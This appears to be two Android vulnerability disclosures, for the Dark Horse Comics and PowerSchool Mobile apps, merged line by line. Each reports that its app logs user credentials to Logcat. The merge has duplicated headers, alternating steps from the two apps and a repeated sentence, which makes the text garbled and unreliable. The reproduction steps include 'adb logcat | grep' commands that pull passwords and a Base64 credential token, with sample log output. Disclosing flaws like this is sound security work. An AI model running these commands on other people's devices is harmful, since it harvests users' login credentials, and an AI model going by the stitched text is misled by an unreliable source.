# Title: Dark Horse Comics - Logging Sensitive Information
# Title: PowerSchool Mobile - Logging Sensitive Information
# Application: Dark Horse Comics
# Application: PowerSchool Mobile
# Version: 1.3.21
# Version: 1.1.8
# Software Link: https://play.google.com/store/apps/details?id=com.darkhorse.digital
# Software Link: https://play.google.com/store/apps/details?id=com.powerschool.portal
# Company: Dark Horse Comics
# Company: PowerSchool Group LLC
# Installs: 1,000,000+
# Impact: hackers can get username and password of Dark Horse Comics, looking at the log.
# Impact: Hackers can get username and password of the app by looking at the log
# Category: Mobile Apps
# Tested on: Android 9
# Tested on: Android 8
Dark Horse Comics, the popular comics app installed more than 1 million, stores a user token in Logcat. The user token is the Base64-encoded string from password and username, so by decoding it, hackers can obtain usernames and passwords of the app.
PoweverSchool Mobile, the popular education app installed more than 1 million, logs username and password in Logcat during login step. So, hackers can obtain user password/ID of PowerSchool Mobile, simply looking at Logcat. Especially, in old Android versions prior to Android Jelly Bean, any app installed can access Logcat without any permission.
Especially, in old Android versions prior to Android Jelly Bean, any app installed can access Logcat without any permission.
We have reported this issue to the vendor, and they will fixed this problem soon.
After reporting, the vendor has quickly fixed this problem and released a new version.
1. Try to login in PowerSchool, entering username and password.
1. Try to log in Dark Horse Comics, Android app.
2. Search password in the log
- Opening Login UI
$ adb logcat | grep 'password'
- Enter credentials. Fake information is enough for reproducing.
11857 12122 D SoapCall: loginToPublicPortal request xml <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www...<username><![CDATA[email@example.com]]></username><password><![CDATA[myPasswordHere]]></password.</loginToPublicPortal></soap:Body></soap:Envelope>
2. Search the token in the log
$ adb logcat | grep 'request with token'
09-16 23:44:31.132 13303 14813 V DarkHorse.DungeonHTTPClient: Manually signing HTTP request with token: amFlaG8ubGVlQHJpY2UuZWR1Om15ZmFja3Bhc3N3b3Jk